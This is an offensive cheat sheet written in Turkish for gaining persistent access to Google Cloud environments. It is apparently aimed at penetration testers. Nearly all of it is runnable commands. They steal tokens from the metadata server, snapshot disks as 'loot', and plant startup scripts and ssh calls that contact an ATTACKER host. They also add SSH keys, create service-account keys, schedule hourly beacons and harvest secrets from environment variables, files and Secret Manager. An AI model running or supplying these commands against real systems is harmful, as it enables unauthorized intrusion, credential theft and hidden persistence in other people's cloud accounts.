GCP - Cloud Shell Persistence

GCP kalıcılık

GCP - Cloud Shell Persistence — GCP ortamında kalıcı erişim ve geri dönüş kanalları notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

Saldırı akışı

Mevcut erişim kanalını haritala (key, role, webhook, layer).
Düşük gürültülü backdoor yüzeyi seç (alias, trust, schedule).
Kalıcı kimlik veya tetikleyici yerleştir.
İkinci oturumdan erişimi doğrula.

Kimlik / oturum

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

gcloud auth list

gcloud config get-value project

gcloud auth print-access-token | cut -c1-20

Hedef komutlar

GCP - Cloud Shell Persistence için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

curl -sH 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

curl -sH 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email

gcloud compute disks list

gcloud compute disks snapshot DISK --snapshot-names loot --zone ZONE

gcloud compute instances list

gcloud compute instances describe INST --zone ZONE

gcloud compute instances get-serial-port-output INST --zone ZONE

gcloud compute ssh INST --zone ZONE --command 'id;curl ATTACKER'

gcloud compute instances add-metadata INST --zone ZONE --metadata startup-script='#!/bin/bash
curl ATTACKER'

gcloud compute instances add-metadata INST --zone ZONE --metadata-from-file ssh-keys=keys.txt

Kalıcılık / etki

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

gcloud iam service-accounts keys create persist.json --iam-account SA@PROJECT.iam.gserviceaccount.com

gcloud scheduler jobs create http persist --schedule='0 * * * *' --uri=https://ATTACKER/ --http-method=GET

gcloud functions deploy persist --runtime python312 --trigger-http --source .

Secret / credential avı

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'

printenv | sort

find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40

gcloud secrets list

gcloud secrets versions access latest --secret=SECRET

Kanıt

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash

mkdir -p evidence/cloud && tee evidence/cloud/notes.txt